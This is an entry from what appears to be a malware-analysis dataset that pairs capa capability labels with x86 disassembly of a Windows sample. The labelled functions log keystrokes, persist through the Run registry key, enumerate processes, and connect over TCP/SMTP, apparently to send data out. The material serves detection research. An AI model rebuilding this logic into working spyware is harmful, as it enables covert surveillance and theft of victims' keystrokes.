joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41d260
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
push ebx
push ebp
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push ebx
push connect
push dword [esp + 0x40]
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x41d432
push esi
push edi
push 0x18
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 2
push esi
push ebp
call edi
push ebx
lea eax, [esp + 0x18]
push eax
push 2
lea eax, [esi + 2]
push eax
push ebp
call edi
push 0
lea eax, [esp + 0x18]
push eax
push 2
lea ebx, [esi + 4]
push ebx
push ebp
call edi
movzx eax, word [ebx]
shl eax, 4
push 2
add eax, 6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov esi, eax
push 0
lea eax, [esp + 0x18]
push eax
movzx eax, word [esi + 4]
shl eax, 4
push eax
lea eax, [esi + 8]
push eax
push ebp
call edi
push 1
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov ebx, eax
call fcn.0041d1d7
test ebx, ebx
mov dword [esp + 0x24], eax
je 0x41d40c
movzx ecx, word [eax + 4]
imul ecx, ecx, 0xe
add ecx, 6
push ecx
push eax
push 0x800
push 0x65
push 0xe
push ebx
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
test eax, eax
je 0x41d34e
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
test eax, eax
jne 0x41d356
mov dword [esp + 0x10], 8
jmp 0x41d356
mov dword [esp + 0x10], 7
and dword [esp + 0x18], 0
cmp word [esi + 4], 0
jbe 0x41d414
lea ebx, [esi + 0x10]
push dword [ebx]
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0
push 0
push dword [ebx + 4]
mov dword [esp + 0x28], eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x18]
push eax
push dword [ebx]
push dword [esp + 0x28]
push ebp
call edi
push 0
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
test eax, eax
mov dword [esp + 0x20], eax
je 0x41d40c
push dword [ebx]
movzx ecx, word [esp + 0x1c]
push dword [esp + 0x20]
push 0x800
push ecx
push 3
push eax
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
test eax, eax
je 0x41d402
push 0
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
test eax, eax
je 0x41d3f8
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
movzx eax, word [esi + 4]
inc dword [esp + 0x18]
add ebx, 0x10
cmp dword [esp + 0x18], eax
jl 0x41d369
jmp 0x41d414
mov dword [esp + 0x10], 8
jmp 0x41d414
mov dword [esp + 0x10], 7
jmp 0x41d414
mov dword [esp + 0x10], 6
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
call esi
push dword [esp + 0x24]
call esi
mov eax, dword [esp + 0x10]
pop edi
pop esi
jmp 0x41d435
push 9
pop eax
pop ebp
pop ebx
add esp, 0x18
ret
Function at 0x41d43b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 0x10
and dword [esp], 0
push ebp
push edi
push 2
pop ebp
push ebp
push 0
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x41d460
inc eax
jmp 0x41d609
mov eax, dword [esp + 0x24]
push ebx
push esi
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push eax
push 0x41d18b
push 0xe
push edi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
mov esi, dword [esp + 0x14]
push 0xe
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test esi, 0xffff0000
mov ebx, eax
je 0x41d49c
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
test ebx, ebx
je 0x41d5f8
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x41d5ee
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 1
push dword [esp + 0x28]
mov ebp, eax
mov dword [esp + 0x24], ebp
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov esi, eax
test esi, esi
je 0x41d512
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push ebp
push 0x800
push 0x65
push 0xe
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
test eax, eax
je 0x41d508
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
test eax, eax
jne 0x41d51a
mov dword [esp + 0x10], 8
jmp 0x41d51a
mov dword [esp + 0x10], 7
jmp 0x41d51a
mov dword [esp + 0x10], 6
and dword [esp + 0x14], 0
cmp word [ebp + 4], 0
jbe 0x41d5fc
lea esi, [ebp + 0x12]
movzx eax, word [esi]
push 3
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebp, eax
test ebp, ebp
je 0x41d5e4
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x41d5da
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
push dword [esp + 0x28]
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov ebx, eax
test ebx, ebx
je 0x41d5d0
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push dword [esp + 0x1c]
movzx eax, word [esi]
push 0x800
push eax
push 3
push ebx
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
test eax, eax
je 0x41d5c6
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
test eax, eax
je 0x41d5bc
mov eax, dword [esp + 0x1c]
movzx eax, word [eax + 4]
inc dword [esp + 0x14]
add esi, 0xe
cmp dword [esp + 0x14], eax
jl 0x41d52d
jmp 0x41d5fc
mov dword [esp + 0x10], 8
jmp 0x41d5fc
mov dword [esp + 0x10], 7
jmp 0x41d5fc
mov dword [esp + 0x10], 6
jmp 0x41d5fc
mov dword [esp + 0x10], 5
jmp 0x41d5fc
mov dword [esp + 0x10], 4
jmp 0x41d5fc
mov dword [esp + 0x10], 3
jmp 0x41d5fc
mov dword [esp + 0x10], ebp
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esp + 0x10]
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x10
ret
Function at 0x41d60f
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
lea eax, [ebp - 0x114]
push eax
mov dword [ebp - 0x114], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test byte [ebp - 0x104], 2
je 0x41d655
xor eax, eax
inc eax
cmp dword [ebp - 0x110], 5
jne 0x41d653
cmp dword [ebp - 0x10c], eax
jae 0x41d657
cmp dword [ebp - 0x110], 5
ja 0x41d657
xor eax, eax
leave
ret

Function at 0x41d694
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
push ebx
push edi
xor ebx, ebx
push 0x424
lea eax, [ebp - 0x428]
push ebx
push eax
mov dword [ebp - 0x42c], ebx
call fcn.00428c40
add esp, 0xc
push dword [ebp + 8]
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x41d6d1
xor eax, eax
jmp 0x41d72b
lea eax, [ebp - 0x42c]
push eax
push edi
mov dword [ebp - 0x42c], 0x428
call sub.KERNEL32.dll_Module32FirstW
test eax, eax
je 0x41d720
mov eax, dword [ebp - 0x428]
cmp eax, dword [ebp + 0xc]
lea eax, [ebp - 0x42c]
je 0x41d70a
push eax
push edi
call sub.KERNEL32.dll_Module32NextW
test eax, eax
jne 0x41d6ec
jmp 0x41d722
push 0x428
push eax
push dword [ebp + 0x10]
call fcn.00429000
xor ebx, ebx
add esp, 0xc
inc ebx
jmp 0x41d722
xor ebx, ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop ebx
leave
ret

Function at 0x41d72f
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x660
push esi
push edi
xor esi, esi
push 0x228
lea eax, [ebp - 0x234]
push esi
push eax
mov dword [ebp - 0x238], esi
call fcn.00428c40
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x41d76e
mov word [ebx], si
xor eax, eax
jmp 0x41d832
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp dword [ebp + 0xc], esi
je 0x41d790
push ebx
push dword [ebp - 4]
call fcn.0041d8a0
pop ecx
pop ecx
jmp 0x41d832
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x41d767
lea eax, [ebp - 0x238]
push eax
push edi
mov dword [ebp - 0x238], 0x22c
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x41d829
push 0x424
lea eax, [ebp - 0x65c]
push esi
push eax
mov dword [ebp - 0x660], esi
call fcn.00428c40
add esp, 0xc
mov eax, dword [ebp - 0x230]
cmp dword [ebp - 4], eax
jne 0x41d805
lea ecx, [ebp - 0x660]
push ecx
push dword [ebp - 0x228]
push eax
call fcn.0041d694
add esp, 0xc
test eax, eax
je 0x41d805
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x230]
je 0x41d818
lea eax, [ebp - 0x238]
push eax
push edi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x41d7d5
jmp 0x41d829
lea eax, [ebp - 0x214]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
leave
ret
Function at 0x41d8fb
Capabilities:
Get common file path
Get file size
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa2c
push ebx
push 4
xor ebx, ebx
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x41da89
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0xa2c]
push 0x4664b8
push str._ls_ls_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 5
pop ecx
mov esi, str._Rename__r_n
lea edi, [ebp - 0x24]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp + 8], eax
push 0x104
lea eax, [ebp - 0x22c]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push str.WinInit.Ini
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
push 0x8000080
push 4
push ebx
push ebx
push 0xc0000000
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 0xc], esi
jne 0x41d9a0
xor eax, eax
jmp 0x41da87
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
mov eax, dword [ebp + 8]
push ebx
lea eax, [edi + eax + 0x15]
push eax
push ebx
push 4
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x41da6c
push ebx
push ebx
push ebx
push 2
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
test ebx, ebx
je 0x41da61
lea eax, [ebp - 0x24]
push eax
push ebx
call fcn.00429365
test eax, eax
pop ecx
pop ecx
jne 0x41da0b
lea eax, [ebp - 0x24]
push eax
lea eax, [ebx + edi*2]
push 0x466508
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add edi, eax
mov eax, edi
jmp 0x41da3a
push 0xa
push eax
call fcn.004293c3
mov esi, eax
inc esi
inc esi
lea eax, [edi + edi]
sub eax, esi
add eax, ebx
sar eax, 1
push eax
mov eax, dword [ebp + 8]
lea eax, [esi + eax*2]
push esi
push eax
call fcn.004293f0
sub esi, ebx
add esp, 0x14
sar esi, 1
mov eax, esi
mov esi, dword [ebp - 0xc]
push dword [ebp + 8]
lea ecx, [ebp - 0xa2c]
push ecx
lea eax, [ebx + eax*2]
push eax
call fcn.00429000
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
add edi, dword [ebp + 8]
mov dword [ebp - 4], 1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
push ebx
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x41dbe0
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
lea ebp, [esp - 0x70]
movzx eax, byte [ebp + 0x7c]
sub esp, 0x190
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
mov esi, eax
shl esi, 0x10
test word [ebp + 0x7c], 0x800
je 0x41dc0f
or esi, 0x1000001
mov edi, 0xc6
push edi
lea eax, [ebp - 0x11e]
push ebx
push eax
mov word [ebp - 0x120], bx
call fcn.00428c40
add esp, 0xc
push 0xc7
lea eax, [ebp - 0x120]
push eax
push esi
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
push edi
lea eax, [ebp - 0x56]
push ebx
push eax
mov word [ebp - 0x58], bx
call fcn.00428c40
add esp, 0xc
test byte [ebp + 0x7d], 2
je 0x41dc66
push str.Ctrl
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
test byte [ebp + 0x7d], 4
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edi, 0x46654c
je 0x41dc99
lea eax, [ebp - 0x58]
push eax
call ebx
test eax, eax
je 0x41dc8e
push edi
lea eax, [ebp - 0x58]
push eax
call esi
push 0x466554
lea eax, [ebp - 0x58]
push eax
call esi
test byte [ebp + 0x7d], 1
je 0x41dcbb
lea eax, [ebp - 0x58]
push eax
call ebx
test eax, eax
je 0x41dcb0
push edi
lea eax, [ebp - 0x58]
push eax
call esi
push str.Shift
lea eax, [ebp - 0x58]
push eax
call esi
lea eax, [ebp - 0x58]
push eax
call ebx
test eax, eax
je 0x41dccc
push edi
lea eax, [ebp - 0x58]
push eax
call esi
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x58]
push eax
call esi
mov esi, dword [ebp + 0x78]
mov ecx, 0x46dd38
call fcn.0041ad3a
lea eax, [ebp - 0x58]
push eax
push esi
call fcn.0041cf47
pop edi
mov eax, esi
pop esi
pop ebx
add ebp, 0x70
leave
ret

Function at 0x41ee43
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push edi
xor edi, edi
cmp dword [ebp + 8], edi
mov dword [ebp - 4], edi
je 0x41eebf
push 0x208
lea eax, [ebp - 0x20c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str.SoftwareMicrosoftWindowsCurrentVersion
push connect
lea eax, [ebp - 4]
call fcn.0041c6c7
cmp dword [ebp - 4], edi
je 0x41ef18
push str._Agent
lea eax, [esi + 0x140]
lea ecx, [ebp + 8]
call fcn.0040efd9
pop ecx
push dword [eax]
lea eax, [ebp - 0x20c]
push eax
push 0x4665ec
lea eax, [ebp - 4]
call fcn.0041c684
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.0041ad22
push dword [ebp - 4]
jmp 0x41ef12
lea eax, [ebp + 8]
push eax
push 0x2001f
push edi
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push connect
mov dword [ebp + 8], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41ef18
cmp dword [ebp + 8], edi
je 0x41ef18
push str._Agent
lea eax, [esi + 0x140]
lea ecx, [ebp - 4]
call fcn.0040efd9
pop ecx
push dword [eax]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [ebp - 4]
add eax, 0xfffffff0
call fcn.0041ad22
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
leave
ret 4
Function at 0x4225f1
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push esi
push edi
push dword [ebp + 8]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0
inc eax
push eax
push dword [ebp + 8]
lea esi, [ebp - 0x11c]
call fcn.0042343c
mov esi, edi
call fcn.004226b9
mov ax, word [edi + 0xc]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x11c]
push eax
mov word [ebp - 0x14], 2
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
jne 0x422662
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x422658
xor eax, eax
jmp 0x4226b3
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [edi + 0x4c], eax
je 0x422654
push 0x10
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x42268f
call fcn.004226b9
jmp 0x422654
push 0
call fcn.004226e7
cmp eax, 0xdc
je 0x4226a7
push eax
mov ecx, edi
call fcn.00422a07
jmp 0x422688
mov eax, edi
call fcn.00422b9d
test eax, eax
jne 0x422688
inc eax
pop edi
pop esi
leave
ret 4
Function at 0x422b9d
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x294
push ebx
push esi
push edi
mov edi, eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 4], 0x40
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x290]
push str.EHLO__s_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
cmp dword [edi + 4], 0
mov esi, 0xfa
je 0x422bfc
lea eax, [ebp - 0x290]
push eax
call fcn.004226e7
mov ebx, eax
cmp ebx, esi
je 0x422c22
and dword [edi + 0x54], 0
lea eax, [ebp - 0x290]
push eax
mov word [ebp - 0x290], 0x48
mov word [ebp - 0x28e], 0x45
call fcn.004226e7
mov ebx, eax
jmp 0x422c29
mov dword [edi + 0x54], 1
cmp ebx, esi
je 0x422c39
push ebx
mov ecx, edi
call fcn.00422a07
mov eax, ebx
jmp 0x422c4f
cmp dword [edi + 0x54], 0
mov dword [edi + 0x50], 1
je 0x422c4d
mov eax, edi
call fcn.00422c54
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4234a1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp edi, ebx
jne 0x4234b6
push 0x80004005
call fcn.0041b286
push edi
push esi
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push ebx
push str.Content_Type
push dword [eax]
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp esi, ebx
je 0x423510
mov ecx, dword [edi]
cmp ecx, ebx
jbe 0x42350d
cmp dword [ebp - 4], ebx
jbe 0x42350a
cmp dword [ebp - 4], 2
jbe 0x423515
cmp dword [ebp - 4], 7
jne 0x42350a
test cl, 1
jne 0x42350a
shr ecx, 1
cmp ecx, 1
jb 0x42350a
cmp word [esi + ecx*2 - 2], bx
jne 0x42350a
cmp ecx, 1
jbe 0x423510
cmp word [esi + ecx*2 - 4], bx
je 0x423510
push 0xd
pop eax
mov word [esi], bx
pop ebx
leave
ret 4
test cl, 1
jne 0x42350a
shr ecx, 1
cmp word [esi + ecx*2 - 2], bx
jmp 0x423508

Function at 0x4235fc
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [esi + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 8]
push 0
mov dword [ebp - 8], eax
mov eax, dword [esi + 0x10]
push 0
push 0x1c
push dword [esi + 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [esi + 0x1c]
mov dword [ebp - 0x20], 0x46587253
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push 0x1c
lea eax, [ebp - 0x20]
push eax
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
neg eax
sbb eax, eax
and eax, 0x63
add eax, 0xffffff9d
jne 0x423666
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [esi + 0xc], 0xffffffff
xor eax, eax
leave
ret
Function at 0x4237af
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword [esi + 0x10], ebx
jne 0x4237c1
push 0xfffffffffffffffe
pop eax
jmp 0x42383e
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [esi + 0x54], 1
cmp dword [esi + 0x1c], ebx
jne 0x4237ff
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x50]
push ebx
lea edx, [ebp - 4]
push edx
push ecx
push eax
push dword [esi + 0xc]
mov dword [esi + 0x18], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x423886
mov eax, dword [ebp - 4]
cmp eax, ebx
mov dword [esi + 0x1c], eax
je 0x423841
lea eax, [esi + 0x18]
push ebx
push eax
call fcn.0044dbae
test eax, eax
pop ecx
pop ecx
jne 0x423886
mov eax, dword [esi + 0x14]
sub eax, dword [esi + 0x28]
je 0x423836
mov ecx, dword [esi + 0x10]
push ebx
lea edx, [ebp - 4]
push edx
push eax
push ecx
push dword [esi + 4]
call edi
test eax, eax
je 0x423886
mov eax, dword [esi + 0x10]
mov dword [esi + 0x24], eax
mov eax, dword [esi + 0x14]
mov dword [esi + 0x28], eax
cmp dword [esi + 0x54], ebx
jne 0x4237cf
xor eax, eax
pop edi
pop ebx
leave
ret
lea eax, [esi + 0x18]
push 4
push eax
call fcn.0044dbae
pop ecx
pop ecx
mov ecx, dword [esi + 0x10]
mov dword [ebp - 8], eax
mov eax, dword [esi + 0x14]
sub eax, dword [esi + 0x28]
push ebx
lea edx, [ebp - 4]
push edx
push eax
push ecx
push dword [esi + 4]
call edi
test eax, eax
je 0x423886
cmp dword [ebp - 8], ebx
mov eax, dword [esi + 0x10]
mov dword [esi + 0x24], eax
mov eax, dword [esi + 0x14]
mov dword [esi + 0x28], eax
je 0x423841
xor eax, eax
cmp dword [ebp - 8], 1
setne al
jmp 0x42383d
xor eax, eax
inc eax
jmp 0x42383d
Function at 0x423930
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x142c
call fcn.00434660
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 1
push connect
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp - 8], edi
jne 0x423984
mov eax, dword [ebp + 0x14]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
call fcn.0041ad22
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 0x10
mov eax, dword [ebp + 0x14]
cmp dword [eax - 0xc], ebx
jne 0x4239bd
push dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x428]
push eax
call esi
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathW]
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x220]
push eax
call esi
jmp 0x4239cb
push eax
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp + 0x10]
push ebx
push edi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0xc]
push eax
push 0x210
lea eax, [ebp - 0x220]
push eax
push dword [ebp + 8]
call esi
push ebx
lea eax, [ebp - 4]
push eax
mov ebx, 0x1000
push ebx
lea eax, [ebp - 0x1428]
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
jmp 0x423a3f
cmp dword [ebp - 4], 0
je 0x423a45
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x1428]
push eax
push dword [ebp + 8]
call esi
push 0
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 0x1428]
push eax
push dword [ebp - 8]
call edi
test eax, eax
jne 0x423a13
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
inc ebx
jmp 0x423965
Function at 0x423a56
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x220
push esi
push edi
lea eax, [esp + 0x20]
push eax
xor esi, esi
push esi
push 0x466e74
lea eax, [ebx + 0x24]
push eax
mov dword [esp + 0x28], 1
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [esp + 0x20]
push eax
push dword [ebp + 8]
call fcn.0041cf47
push esi
push 0x100
push 2
push esi
push esi
push 0x40000000
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
jne 0x423aba
xor eax, eax
jmp 0x423b41
push esi
lea ecx, [esp + 0x20]
push ecx
push 4
lea ecx, [ebx + 0x23c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebx + 0x244], esi
mov dword [esp + 0xc], esi
jbe 0x423b33
mov dword [esp + 0x10], esi
mov eax, dword [esp + 0xc]
cmp eax, dword [ebx + 0x244]
jae 0x423b24
mov edi, dword [ebx + 0x240]
add edi, dword [esp + 0x10]
sub esp, 0xc
mov esi, esp
call fcn.00423b49
push dword [esp + 0x20]
call fcn.00423930
test eax, eax
je 0x423b2e
inc dword [esp + 0xc]
mov eax, dword [esp + 0xc]
add dword [esp + 0x10], 0xc
cmp eax, dword [ebx + 0x244]
jb 0x423ae0
jmp 0x423b33
push 0x80070057
call fcn.0041b286
and dword [esp + 0x18], 0
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4